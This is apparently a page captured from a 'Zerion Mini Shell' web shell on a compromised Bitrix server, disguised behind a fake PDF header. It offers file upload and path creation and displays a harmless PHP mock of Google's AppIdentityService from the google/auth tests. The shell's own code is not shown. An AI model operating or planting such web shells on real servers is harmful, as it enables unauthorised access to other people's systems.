%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/local/php_interface/lib/vendor/google/auth/tests/mocks/
Upload File :
Create Path :
Current File : //home/bitrix/www/local/php_interface/lib/vendor/google/auth/tests/mocks/AppIdentityService.php

<?php

namespace google\appengine\api\app_identity;

class AppIdentityService
{
    public static $scope;
    public static $accessToken = [
        'access_token' => 'xyz',
        'expiration_time' => '2147483646',
    ];
    public static $serviceAccountName;

    public static function getAccessToken($scope)
    {
        self::$scope = $scope;

        return self::$accessToken;
    }

    public static function signForApp($stringToSign)
    {
        return [
            'signature' => 'Signed: ' . $stringToSign
        ];
    }

    public static function getServiceAccountName()
    {
        return self::$serviceAccountName;
    }
}

Zerion Mini Shell 1.0